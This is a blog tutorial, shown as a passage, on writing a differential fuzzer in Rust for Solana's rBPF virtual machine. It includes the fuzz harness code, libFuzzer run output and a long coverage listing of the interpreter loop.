Reading view
New Locky variant – Zepto Ransomware Appears On The Scene
Locky Ransomware is back! 49 domains compromised!
No more JuicyPotato? Old story, welcome RoguePotato!
Earn $200K by fuzzing for a weekend: Part 1
By applying well-known fuzzing techniques to a popular target, I found several bugs that in total yielded over $200K in bounties. In this article I will demonstrate how powerful fuzzing can be when applied to software which has not yet faced sufficient testing.
If you’re here just for the bug disclosures, see Part 2, though I encourage you all, even those who have not yet tried their hand at fuzzing, to read through this.
Exposition
A few friends and I ran a little Discord server (now a Matrix space) which in which we discussed security and vulnerability research techniques. One of the things we have running in the server is a bot which posts every single CVE as they come out. And, yeah, I read a lot of them.
One day, the bot posted something that caught my eye:
This marks the beginning of our timeline: January 28th. I had noticed this CVE in particular for two reasons:
- it was BPF, which I find to be an absurdly cool concept as it’s used in the Linux kernel (a JIT compiler in the kernel!!! what!!!)
- it was a JIT compiler written in Rust
This CVE showed up almost immediately after I had developed some relatively intensive fuzzing for some of my own Rust software (specifically, a crate for verifying sokoban solutions where I had observed similar issues and thought “that looks familiar”).
Knowing what I had learned from my experience fuzzing my own software and that bugs in Rust programs could be quite easily found with the combo of cargo fuzz and arbitrary, I thought: “hey, why not?”.
The Target, and figuring out how to test it
Solana, as several of you likely know, “is a decentralized blockchain built to enable scalable, user-friendly apps for the world”. They primarily are known for their cryptocurrency, SOL, but also are a blockchain which operates really any form of smart contract.
rBPF in particular is a self-described “Rust virtual machine and JIT compiler for eBPF programs”. Notably, it implements both an interpreter and a JIT compiler for BPF programs. In other words: two different implementations of the same program, which theoretically exhibited the same behaviour when executed.
I was lucky enough to both take a software testing course in university and to have been part of a research group doing fuzzing (admittedly, we were fuzzing hardware, not software, but the concepts translate). A concept that I had hung onto in particular is the idea of test oracles – a way to distinguish what is “correct” behaviour and what is not in a design under test.
In particular, something that stood out to me about the presence of both an interpreter and a JIT compiler in rBPF is that we, in effect, had a perfect pseudo-oracle; as Wikipedia puts it:
a separately written program which can take the same input as the program or system under test so that their outputs may be compared to understand if there might be a problem to investigate.
Those of you who have more experience in fuzzing will recognise this concept as differential fuzzing, but I think we can often overlook that differential fuzzing is just another face of a pseudo-oracle.
In this particular case, we can execute the interpreter, one implementation of rBPF, and then execute the JIT compiled version, another implementation, with the same inputs (i.e., memory state, entrypoint, code, etc.) and see if their outputs are different. If they are, one of them must necessarily be incorrect per the description of the rBPF crate: two implementations of exactly the same behaviour.
Writing a fuzzer
To start off, let’s try to throw a bunch of inputs at it without really tuning to anything in particular. This allows us to sanity check that our basic fuzzing implementation actually works as we expect.
The dumb fuzzer
First, we need to figure out how to execute the interpreter. Thankfully, there
are several examples of this readily available in a variety of tests. I
referenced the test_interpreter_and_jit
macro present in
ubpf_execution.rs
as the basis for how my so-called “dumb” fuzzer
executes.
I’ve provided a sequence of components you can look at one chunk at a time before moving onto the whole fuzzer. Just click on the dropdowns to view the code relevant to that step. You don’t necessarily need to to understand the point of this post.
Step 1: Defining our inputs
We must define our inputs such that it’s actually useful for our fuzzer. Thankfully, arbitrary makes it near trivial to derive an input from raw bytes.
#[derive(arbitrary::Arbitrary, Debug)]
struct DumbFuzzData {
template: ConfigTemplate,
prog: Vec<u8>,
mem: Vec<u8>,
}
If you want to see the definition of ConfigTemplate, you can check it out in common.rs, but all you need to know is that its purpose is to test the interpreter under a variety of different execution configurations. It’s not particularly important to understand the fundamental bits of the fuzzer.
Step 2: Setting up the VM
Setting up the fuzz target and the VM comes next. This will allow us to not only execute our test, but later to actually check if the behaviour is correct.
fuzz_target!(|data: DumbFuzzData| {
let prog = data.prog;
let config = data.template.into();
if check(&prog, &config).is_err() {
// verify please
return;
}
let mut mem = data.mem;
let registry = SyscallRegistry::default();
let mut bpf_functions = BTreeMap::new();
register_bpf_function(&config, &mut bpf_functions, ®istry, 0, "entrypoint").unwrap();
let executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
&prog,
None,
config,
SyscallRegistry::default(),
bpf_functions,
)
.unwrap();
let mem_region = MemoryRegion::new_writable(&mut mem, ebpf::MM_INPUT_START);
let mut vm =
EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![mem_region]).unwrap();
// TODO in step 3
});
You can find the details for how fuzz_target
works from the
Rust Fuzz Book
which goes over how it works in higher detail than would be appropriate here.
Step 3: Executing our input and comparing output
In this step, we just execute the VM with our provided input. In future iterations, we’ll compare the output of interpreter vs JIT, but in this version, we’re just executing the interpreter to see if we can induce crashes.
fuzz_target!(|data: DumbFuzzData| {
// see step 2 for this bit
drop(black_box(vm.execute_program_interpreted(
&mut TestInstructionMeter { remaining: 1024 },
)));
});
I use black_box here but I’m not entirely convinced that it’s necessary. I added it to ensure that the result of the interpreted program’s execution isn’t simply discarded and thus the execution marked unnecessary, but I’m fairly certain it wouldn’t be regardless.
Note that we are not checking for if the execution failed here. If the BPF program fails: we don’t care! We only care if the VM crashes for any reason.
Step 4: Put it together
Below is the final code for the fuzzer, including all of the bits I didn’t show above for concision.
#![feature(bench_black_box)]
#![no_main]
use std::collections::BTreeMap;
use std::hint::black_box;
use libfuzzer_sys::fuzz_target;
use solana_rbpf::{
ebpf,
elf::{register_bpf_function, Executable},
memory_region::MemoryRegion,
user_error::UserError,
verifier::check,
vm::{EbpfVm, SyscallRegistry, TestInstructionMeter},
};
use crate::common::ConfigTemplate;
mod common;
#[derive(arbitrary::Arbitrary, Debug)]
struct DumbFuzzData {
template: ConfigTemplate,
prog: Vec<u8>,
mem: Vec<u8>,
}
fuzz_target!(|data: DumbFuzzData| {
let prog = data.prog;
let config = data.template.into();
if check(&prog, &config).is_err() {
// verify please
return;
}
let mut mem = data.mem;
let registry = SyscallRegistry::default();
let mut bpf_functions = BTreeMap::new();
register_bpf_function(&config, &mut bpf_functions, ®istry, 0, "entrypoint").unwrap();
let executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
&prog,
None,
config,
SyscallRegistry::default(),
bpf_functions,
)
.unwrap();
let mem_region = MemoryRegion::new_writable(&mut mem, ebpf::MM_INPUT_START);
let mut vm =
EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![mem_region]).unwrap();
drop(black_box(vm.execute_program_interpreted(
&mut TestInstructionMeter { remaining: 1024 },
)));
});
Theoretically, an up-to-date version is available in the rBPF repo.
Evaluation
$ cargo +nightly fuzz run dumb -- -max_total_time=300
... snip ...
#2902510 REDUCE cov: 1092 ft: 2147 corp: 724/58Kb lim: 4096 exec/s: 9675 rss: 355Mb L: 134/3126 MS: 3 ChangeBit-InsertByte-PersAutoDict- DE: "\x07\xff\xff3"-
#2902537 REDUCE cov: 1092 ft: 2147 corp: 724/58Kb lim: 4096 exec/s: 9675 rss: 355Mb L: 60/3126 MS: 2 ChangeBinInt-EraseBytes-
#2905608 REDUCE cov: 1092 ft: 2147 corp: 724/58Kb lim: 4096 exec/s: 9685 rss: 355Mb L: 101/3126 MS: 1 EraseBytes-
#2905770 NEW cov: 1092 ft: 2155 corp: 725/58Kb lim: 4096 exec/s: 9685 rss: 355Mb L: 61/3126 MS: 2 ShuffleBytes-CrossOver-
#2906805 DONE cov: 1092 ft: 2155 corp: 725/58Kb lim: 4096 exec/s: 9657 rss: 355Mb
Done 2906805 runs in 301 second(s)
After executing the fuzzer, we can evaluate its effectiveness at finding
interesting inputs by checking its coverage after executing for a given time
(note the use of the -max_total_time
flag). In this case, I want to
determine just how well it covers the function which handles
interpreter execution.
To do so, I issue the following commands:
$ cargo +nightly fuzz coverage dumb
$ rust-cov show -Xdemangler=rustfilt fuzz/target/x86_64-unknown-linux-gnu/release/dumb -instr-profile=fuzz/coverage/dumb/coverage.profdata -show-line-counts-or-regions -name=execute_program_interpreted_inner
Command output of rust-cov
If you’re not familiar with llvm coverage output, the first column is the line number, the second column is the number of times that that particular line was hit, and the third column is the code itself.
<solana_rbpf::vm::EbpfVm<solana_rbpf::user_error::UserError, solana_rbpf::vm::TestInstructionMeter>>::execute_program_interpreted_inner:
709| 763| fn execute_program_interpreted_inner(
710| 763| &mut self,
711| 763| instruction_meter: &mut I,
712| 763| initial_insn_count: u64,
713| 763| last_insn_count: &mut u64,
714| 763| ) -> ProgramResult<E> {
715| 763| // R1 points to beginning of input memory, R10 to the stack of the first frame
716| 763| let mut reg: [u64; 11] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, self.stack.get_frame_ptr()];
717| 763| reg[1] = ebpf::MM_INPUT_START;
718| 763|
719| 763| // Loop on instructions
720| 763| let config = self.executable.get_config();
721| 763| let mut next_pc: usize = self.executable.get_entrypoint_instruction_offset()?;
^0
722| 763| let mut remaining_insn_count = initial_insn_count;
723| 136k| while (next_pc + 1) * ebpf::INSN_SIZE <= self.program.len() {
724| 135k| *last_insn_count += 1;
725| 135k| let pc = next_pc;
726| 135k| next_pc += 1;
727| 135k| let mut instruction_width = 1;
728| 135k| let mut insn = ebpf::get_insn_unchecked(self.program, pc);
729| 135k| let dst = insn.dst as usize;
730| 135k| let src = insn.src as usize;
731| 135k|
732| 135k| if config.enable_instruction_tracing {
733| 0| let mut state = [0u64; 12];
734| 0| state[0..11].copy_from_slice(®);
735| 0| state[11] = pc as u64;
736| 0| self.tracer.trace(state);
737| 135k| }
738| |
739| 135k| match insn.opc {
740| 135k| _ if dst == STACK_PTR_REG && config.dynamic_stack_frames => {
741| 361| match insn.opc {
742| 16| ebpf::SUB64_IMM => self.stack.resize_stack(-insn.imm),
743| 345| ebpf::ADD64_IMM => self.stack.resize_stack(insn.imm),
744| | _ => {
745| | #[cfg(debug_assertions)]
746| 0| unreachable!("unexpected insn on r11")
747| | }
748| | }
749| | }
750| |
751| | // BPF_LD class
752| | // Since this pointer is constant, and since we already know it (ebpf::MM_INPUT_START), do not
753| | // bother re-fetching it, just use ebpf::MM_INPUT_START already.
754| | ebpf::LD_ABS_B => {
755| 3| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
756| 3| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
^0
757| 0| reg[0] = unsafe { *host_ptr as u64 };
758| | },
759| | ebpf::LD_ABS_H => {
760| 3| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
761| 3| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
^0
762| 0| reg[0] = unsafe { *host_ptr as u64 };
763| | },
764| | ebpf::LD_ABS_W => {
765| 2| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
766| 2| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
^0
767| 0| reg[0] = unsafe { *host_ptr as u64 };
768| | },
769| | ebpf::LD_ABS_DW => {
770| 4| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
771| 4| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
^0
772| 0| reg[0] = unsafe { *host_ptr as u64 };
773| | },
774| | ebpf::LD_IND_B => {
775| 2| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
776| 2| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
^0
777| 0| reg[0] = unsafe { *host_ptr as u64 };
778| | },
779| | ebpf::LD_IND_H => {
780| 3| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
781| 3| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
^0
782| 0| reg[0] = unsafe { *host_ptr as u64 };
783| | },
784| | ebpf::LD_IND_W => {
785| 7| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
786| 7| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
^0
787| 0| reg[0] = unsafe { *host_ptr as u64 };
788| | },
789| | ebpf::LD_IND_DW => {
790| 3| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
791| 3| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
^0
792| 0| reg[0] = unsafe { *host_ptr as u64 };
793| | },
794| |
795| 0| ebpf::LD_DW_IMM => {
796| 0| ebpf::augment_lddw_unchecked(self.program, &mut insn);
797| 0| instruction_width = 2;
798| 0| next_pc += 1;
799| 0| reg[dst] = insn.imm as u64;
800| 0| },
801| |
802| | // BPF_LDX class
803| | ebpf::LD_B_REG => {
804| 18| let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
805| 18| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
^2
806| 2| reg[dst] = unsafe { *host_ptr as u64 };
807| | },
808| | ebpf::LD_H_REG => {
809| 18| let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
810| 18| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
^6
811| 6| reg[dst] = unsafe { *host_ptr as u64 };
812| | },
813| | ebpf::LD_W_REG => {
814| 365| let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
815| 365| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
^348
816| 348| reg[dst] = unsafe { *host_ptr as u64 };
817| | },
818| | ebpf::LD_DW_REG => {
819| 15| let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
820| 15| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
^5
821| 5| reg[dst] = unsafe { *host_ptr as u64 };
822| | },
823| |
824| | // BPF_ST class
825| | ebpf::ST_B_IMM => {
826| 26| let vm_addr = (reg[dst] as i64).wrapping_add( insn.off as i64) as u64;
827| 26| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u8);
^20
828| 20| unsafe { *host_ptr = insn.imm as u8 };
829| | },
830| | ebpf::ST_H_IMM => {
831| 23| let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
832| 23| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u16);
^13
833| 13| unsafe { *host_ptr = insn.imm as u16 };
834| | },
835| | ebpf::ST_W_IMM => {
836| 12| let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
837| 12| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u32);
^5
838| 5| unsafe { *host_ptr = insn.imm as u32 };
839| | },
840| | ebpf::ST_DW_IMM => {
841| 17| let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
842| 17| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u64);
^11
843| 11| unsafe { *host_ptr = insn.imm as u64 };
844| | },
845| |
846| | // BPF_STX class
847| | ebpf::ST_B_REG => {
848| 17| let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
849| 17| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u8);
^3
850| 3| unsafe { *host_ptr = reg[src] as u8 };
851| | },
852| | ebpf::ST_H_REG => {
853| 13| let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
854| 13| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u16);
^3
855| 3| unsafe { *host_ptr = reg[src] as u16 };
856| | },
857| | ebpf::ST_W_REG => {
858| 19| let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
859| 19| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u32);
^7
860| 7| unsafe { *host_ptr = reg[src] as u32 };
861| | },
862| | ebpf::ST_DW_REG => {
863| 8| let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
864| 8| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u64);
^2
865| 2| unsafe { *host_ptr = reg[src] as u64 };
866| | },
867| |
868| | // BPF_ALU class
869| 1.06k| ebpf::ADD32_IMM => reg[dst] = (reg[dst] as i32).wrapping_add(insn.imm as i32) as u64,
870| 695| ebpf::ADD32_REG => reg[dst] = (reg[dst] as i32).wrapping_add(reg[src] as i32) as u64,
871| 710| ebpf::SUB32_IMM => reg[dst] = (reg[dst] as i32).wrapping_sub(insn.imm as i32) as u64,
872| 345| ebpf::SUB32_REG => reg[dst] = (reg[dst] as i32).wrapping_sub(reg[src] as i32) as u64,
873| 1.03k| ebpf::MUL32_IMM => reg[dst] = (reg[dst] as i32).wrapping_mul(insn.imm as i32) as u64,
874| 2.07k| ebpf::MUL32_REG => reg[dst] = (reg[dst] as i32).wrapping_mul(reg[src] as i32) as u64,
875| 1.03k| ebpf::DIV32_IMM => reg[dst] = (reg[dst] as u32 / insn.imm as u32) as u64,
876| | ebpf::DIV32_REG => {
877| 4| if reg[src] as u32 == 0 {
878| 2| return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
879| 2| }
880| 2| reg[dst] = (reg[dst] as u32 / reg[src] as u32) as u64;
881| | },
882| | ebpf::SDIV32_IMM => {
883| 346| if reg[dst] as i32 == i32::MIN && insn.imm == -1 {
^0
884| 0| return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
885| 346| }
886| 346| reg[dst] = (reg[dst] as i32 / insn.imm as i32) as u64;
887| | }
888| | ebpf::SDIV32_REG => {
889| 13| if reg[src] as i32 == 0 {
890| 2| return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
891| 11| }
892| 11| if reg[dst] as i32 == i32::MIN && reg[src] as i32 == -1 {
^0
893| 0| return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
894| 11| }
895| 11| reg[dst] = (reg[dst] as i32 / reg[src] as i32) as u64;
896| | },
897| 346| ebpf::OR32_IMM => reg[dst] = (reg[dst] as u32 | insn.imm as u32) as u64,
898| 351| ebpf::OR32_REG => reg[dst] = (reg[dst] as u32 | reg[src] as u32) as u64,
899| 345| ebpf::AND32_IMM => reg[dst] = (reg[dst] as u32 & insn.imm as u32) as u64,
900| 1.03k| ebpf::AND32_REG => reg[dst] = (reg[dst] as u32 & reg[src] as u32) as u64,
901| 0| ebpf::LSH32_IMM => reg[dst] = (reg[dst] as u32).wrapping_shl(insn.imm as u32) as u64,
902| 369| ebpf::LSH32_REG => reg[dst] = (reg[dst] as u32).wrapping_shl(reg[src] as u32) as u64,
903| 0| ebpf::RSH32_IMM => reg[dst] = (reg[dst] as u32).wrapping_shr(insn.imm as u32) as u64,
904| 346| ebpf::RSH32_REG => reg[dst] = (reg[dst] as u32).wrapping_shr(reg[src] as u32) as u64,
905| 690| ebpf::NEG32 => { reg[dst] = (reg[dst] as i32).wrapping_neg() as u64; reg[dst] &= u32::MAX as u64; },
906| 347| ebpf::MOD32_IMM => reg[dst] = (reg[dst] as u32 % insn.imm as u32) as u64,
907| | ebpf::MOD32_REG => {
908| 4| if reg[src] as u32 == 0 {
909| 2| return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
910| 2| }
911| 2| reg[dst] = (reg[dst] as u32 % reg[src] as u32) as u64;
912| | },
913| 1.04k| ebpf::XOR32_IMM => reg[dst] = (reg[dst] as u32 ^ insn.imm as u32) as u64,
914| 2.74k| ebpf::XOR32_REG => reg[dst] = (reg[dst] as u32 ^ reg[src] as u32) as u64,
915| 349| ebpf::MOV32_IMM => reg[dst] = insn.imm as u32 as u64,
916| 1.03k| ebpf::MOV32_REG => reg[dst] = (reg[src] as u32) as u64,
917| 0| ebpf::ARSH32_IMM => { reg[dst] = (reg[dst] as i32).wrapping_shr(insn.imm as u32) as u64; reg[dst] &= u32::MAX as u64; },
918| 2| ebpf::ARSH32_REG => { reg[dst] = (reg[dst] as i32).wrapping_shr(reg[src] as u32) as u64; reg[dst] &= u32::MAX as u64; },
919| 0| ebpf::LE => {
920| 0| reg[dst] = match insn.imm {
921| 0| 16 => (reg[dst] as u16).to_le() as u64,
922| 0| 32 => (reg[dst] as u32).to_le() as u64,
923| 0| 64 => reg[dst].to_le(),
924| | _ => {
925| 0| return Err(EbpfError::InvalidInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
926| | }
927| | };
928| | },
929| 0| ebpf::BE => {
930| 0| reg[dst] = match insn.imm {
931| 0| 16 => (reg[dst] as u16).to_be() as u64,
932| 0| 32 => (reg[dst] as u32).to_be() as u64,
933| 0| 64 => reg[dst].to_be(),
934| | _ => {
935| 0| return Err(EbpfError::InvalidInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
936| | }
937| | };
938| | },
939| |
940| | // BPF_ALU64 class
941| 402| ebpf::ADD64_IMM => reg[dst] = reg[dst].wrapping_add(insn.imm as u64),
942| 351| ebpf::ADD64_REG => reg[dst] = reg[dst].wrapping_add(reg[src]),
943| 1.12k| ebpf::SUB64_IMM => reg[dst] = reg[dst].wrapping_sub(insn.imm as u64),
944| 721| ebpf::SUB64_REG => reg[dst] = reg[dst].wrapping_sub(reg[src]),
945| 3.06k| ebpf::MUL64_IMM => reg[dst] = reg[dst].wrapping_mul(insn.imm as u64),
946| 1.71k| ebpf::MUL64_REG => reg[dst] = reg[dst].wrapping_mul(reg[src]),
947| 1.39k| ebpf::DIV64_IMM => reg[dst] /= insn.imm as u64,
948| | ebpf::DIV64_REG => {
949| 23| if reg[src] == 0 {
950| 12| return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
951| 11| }
952| 11| reg[dst] /= reg[src];
953| | },
954| | ebpf::SDIV64_IMM => {
955| 1.40k| if reg[dst] as i64 == i64::MIN && insn.imm == -1 {
^0
956| 0| return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
957| 1.40k| }
958| 1.40k|
959| 1.40k| reg[dst] = (reg[dst] as i64 / insn.imm) as u64
960| | }
961| | ebpf::SDIV64_REG => {
962| 12| if reg[src] == 0 {
963| 5| return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
964| 7| }
965| 7| if reg[dst] as i64 == i64::MIN && reg[src] as i64 == -1 {
^0
966| 0| return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
967| 7| }
968| 7| reg[dst] = (reg[dst] as i64 / reg[src] as i64) as u64;
969| | },
970| 838| ebpf::OR64_IMM => reg[dst] |= insn.imm as u64,
971| 1.37k| ebpf::OR64_REG => reg[dst] |= reg[src],
972| 2.14k| ebpf::AND64_IMM => reg[dst] &= insn.imm as u64,
973| 4.47k| ebpf::AND64_REG => reg[dst] &= reg[src],
974| 0| ebpf::LSH64_IMM => reg[dst] = reg[dst].wrapping_shl(insn.imm as u32),
975| 1.73k| ebpf::LSH64_REG => reg[dst] = reg[dst].wrapping_shl(reg[src] as u32),
976| 0| ebpf::RSH64_IMM => reg[dst] = reg[dst].wrapping_shr(insn.imm as u32),
977| 1.03k| ebpf::RSH64_REG => reg[dst] = reg[dst].wrapping_shr(reg[src] as u32),
978| 5.59k| ebpf::NEG64 => reg[dst] = (reg[dst] as i64).wrapping_neg() as u64,
979| 2.85k| ebpf::MOD64_IMM => reg[dst] %= insn.imm as u64,
980| | ebpf::MOD64_REG => {
981| 3| if reg[src] == 0 {
982| 2| return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
983| 1| }
984| 1| reg[dst] %= reg[src];
985| | },
986| 2.28k| ebpf::XOR64_IMM => reg[dst] ^= insn.imm as u64,
987| 1.41k| ebpf::XOR64_REG => reg[dst] ^= reg[src],
988| 383| ebpf::MOV64_IMM => reg[dst] = insn.imm as u64,
989| 4.24k| ebpf::MOV64_REG => reg[dst] = reg[src],
990| 0| ebpf::ARSH64_IMM => reg[dst] = (reg[dst] as i64).wrapping_shr(insn.imm as u32) as u64,
991| 357| ebpf::ARSH64_REG => reg[dst] = (reg[dst] as i64).wrapping_shr(reg[src] as u32) as u64,
992| |
993| | // BPF_JMP class
994| 4.43k| ebpf::JA => { next_pc = (next_pc as isize + insn.off as isize) as usize; },
995| 10| ebpf::JEQ_IMM => if reg[dst] == insn.imm as u64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^0
996| 1.36k| ebpf::JEQ_REG => if reg[dst] == reg[src] { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^1.36k ^2
997| 4.16k| ebpf::JGT_IMM => if reg[dst] > insn.imm as u64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^1.42k ^2.74k
998| 1.73k| ebpf::JGT_REG => if reg[dst] > reg[src] { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^1.39k ^343
999| 343| ebpf::JGE_IMM => if reg[dst] >= insn.imm as u64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^0
1000| 2.04k| ebpf::JGE_REG => if reg[dst] >= reg[src] { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^1.70k ^342
1001| 2.04k| ebpf::JLT_IMM => if reg[dst] < insn.imm as u64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^2.04k ^1
1002| 342| ebpf::JLT_REG => if reg[dst] < reg[src] { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^0
1003| 1.02k| ebpf::JLE_IMM => if reg[dst] <= insn.imm as u64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^0
1004| 2.38k| ebpf::JLE_REG => if reg[dst] <= reg[src] { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^2.38k ^1
1005| 1.76k| ebpf::JSET_IMM => if reg[dst] & insn.imm as u64 != 0 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^1.42k ^347
1006| 686| ebpf::JSET_REG => if reg[dst] & reg[src] != 0 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^0
1007| 6.48k| ebpf::JNE_IMM => if reg[dst] != insn.imm as u64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^0
1008| 2.44k| ebpf::JNE_REG => if reg[dst] != reg[src] { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^1.40k ^1.03k
1009| 18.1k| ebpf::JSGT_IMM => if reg[dst] as i64 > insn.imm as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^17.7k ^363
1010| 2.08k| ebpf::JSGT_REG => if reg[dst] as i64 > reg[src] as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^2.07k ^12
1011| 14.3k| ebpf::JSGE_IMM => if reg[dst] as i64 >= insn.imm as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^12.9k ^1.37k
1012| 3.45k| ebpf::JSGE_REG => if reg[dst] as i64 >= reg[src] as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^3.44k ^12
1013| 1.36k| ebpf::JSLT_IMM => if (reg[dst] as i64) < insn.imm as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^1.02k ^346
1014| 2| ebpf::JSLT_REG => if (reg[dst] as i64) < reg[src] as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^0
1015| 2.05k| ebpf::JSLE_IMM => if (reg[dst] as i64) <= insn.imm as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^2.04k ^14
1016| 6.83k| ebpf::JSLE_REG => if (reg[dst] as i64) <= reg[src] as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^6.83k ^7
1017| |
1018| | ebpf::CALL_REG => {
1019| 0| let target_address = reg[insn.imm as usize];
1020| 0| reg[ebpf::FRAME_PTR_REG] =
1021| 0| self.stack.push(®[ebpf::FIRST_SCRATCH_REG..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS], next_pc)?;
1022| 0| if target_address < self.program_vm_addr {
1023| 0| return Err(EbpfError::CallOutsideTextSegment(pc + ebpf::ELF_INSN_DUMP_OFFSET, target_address / ebpf::INSN_SIZE as u64 * ebpf::INSN_SIZE as u64));
1024| 0| }
1025| 0| next_pc = self.check_pc(pc, (target_address - self.program_vm_addr) as usize / ebpf::INSN_SIZE)?;
1026| | },
1027| |
1028| | // Do not delegate the check to the verifier, since registered functions can be
1029| | // changed after the program has been verified.
1030| | ebpf::CALL_IMM => {
1031| 22| let mut resolved = false;
1032| 22| let (syscalls, calls) = if config.static_syscalls {
1033| 22| (insn.src == 0, insn.src != 0)
1034| | } else {
1035| 0| (true, true)
1036| | };
1037| |
1038| 22| if syscalls {
1039| 2| if let Some(syscall) = self.executable.get_syscall_registry().lookup_syscall(insn.imm as u32) {
^0
1040| 0| resolved = true;
1041| 0|
1042| 0| if config.enable_instruction_meter {
1043| 0| let _ = instruction_meter.consume(*last_insn_count);
1044| 0| }
1045| 0| *last_insn_count = 0;
1046| 0| let mut result: ProgramResult<E> = Ok(0);
1047| 0| (unsafe { std::mem::transmute::<u64, SyscallFunction::<E, *mut u8>>(syscall.function) })(
1048| 0| self.syscall_context_objects[SYSCALL_CONTEXT_OBJECTS_OFFSET + syscall.context_object_slot],
1049| 0| reg[1],
1050| 0| reg[2],
1051| 0| reg[3],
1052| 0| reg[4],
1053| 0| reg[5],
1054| 0| &self.memory_mapping,
1055| 0| &mut result,
1056| 0| );
1057| 0| reg[0] = result?;
1058| 0| if config.enable_instruction_meter {
1059| 0| remaining_insn_count = instruction_meter.get_remaining();
1060| 0| }
1061| 2| }
1062| 20| }
1063| |
1064| 22| if calls {
1065| 20| if let Some(target_pc) = self.executable.lookup_bpf_function(insn.imm as u32) {
^0
1066| 0| resolved = true;
1067| |
1068| | // make BPF to BPF call
1069| 0| reg[ebpf::FRAME_PTR_REG] =
